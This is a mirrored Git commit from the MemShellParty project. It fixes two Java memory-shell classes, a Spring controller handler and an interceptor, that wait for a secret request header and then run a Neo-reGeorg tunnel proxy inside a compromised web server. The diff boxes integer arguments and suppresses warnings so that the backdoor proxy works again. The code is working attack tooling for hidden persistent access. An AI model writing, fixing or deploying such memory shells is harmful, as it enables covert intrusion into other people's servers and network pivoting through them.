mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
fix: NeoreGeorg proxy not work
This commit is contained in:
+8
-7
@@ -40,6 +40,7 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
|
||||
}
|
||||
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
@@ -48,14 +49,14 @@ public class NeoreGeorgControllerHandler extends ClassLoader implements Controll
|
||||
response,
|
||||
chars.toCharArray(),
|
||||
base64Bytes,
|
||||
200,
|
||||
513,
|
||||
524288,
|
||||
new Integer(200),
|
||||
new Integer(513),
|
||||
new Integer(524288),
|
||||
hello,
|
||||
1447564139,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
new Integer(1447564139),
|
||||
new Integer(0),
|
||||
new Integer(0),
|
||||
new Integer(0),
|
||||
};
|
||||
|
||||
if (namespace.get(chars) == null) {
|
||||
|
||||
+8
-7
@@ -40,6 +40,7 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
@@ -48,14 +49,14 @@ public class NeoreGeorgInterceptor extends ClassLoader implements AsyncHandlerIn
|
||||
response,
|
||||
chars.toCharArray(),
|
||||
base64Bytes,
|
||||
200,
|
||||
513,
|
||||
524288,
|
||||
new Integer(200),
|
||||
new Integer(513),
|
||||
new Integer(524288),
|
||||
hello,
|
||||
1447564139,
|
||||
0,
|
||||
0,
|
||||
0,
|
||||
new Integer(1447564139),
|
||||
new Integer(0),
|
||||
new Integer(0),
|
||||
new Integer(0),
|
||||
};
|
||||
|
||||
if (namespace.get(chars) == null) {
|
||||
|
||||
Reference in New Issue
Block a user